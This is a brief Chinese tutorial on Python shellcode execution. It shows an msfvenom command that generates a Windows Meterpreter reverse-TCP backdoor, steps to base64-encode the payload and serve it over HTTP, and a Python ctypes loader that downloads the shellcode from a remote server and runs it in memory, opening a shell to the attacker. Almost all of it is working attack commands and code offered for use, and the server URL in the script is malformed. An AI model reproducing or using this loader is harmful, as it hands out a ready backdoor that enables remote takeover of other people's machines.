Python的shellcode执行

先在Kali Linux中生成32位Windows的后门shellcode：



msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.160 LPORT=1234 -f raw -o win_backdoor.raw



接着开启Metasploit进行监听反弹的shell，将shellcode进行base64编码并利用SimpleHTTPServer模块将/tmp目录作为Web服务根目录并建立Web服务器：



base64 -i win_backdoor.raw > shellcode.bin
python -m SimpleHTTPServer



最后，运行一下代码即可：



#coding=utf-8
import urllib2
import ctypes
import base64

#从我们的Web服务器上下载shellcode
url = "http://192.1681.10:8000/shellcode.bin"
response = urllib2.urlopen(url)
#base64解码shellcode
shellcode = base64.b64decode(response.read())
#申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode,len(shellcode))
#创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer,ctypes.CFUNCTYPE(ctypes.c_void_p))
#执行shellcode
shellcode_func()



 即可完成远程下载并加载shellcode上线
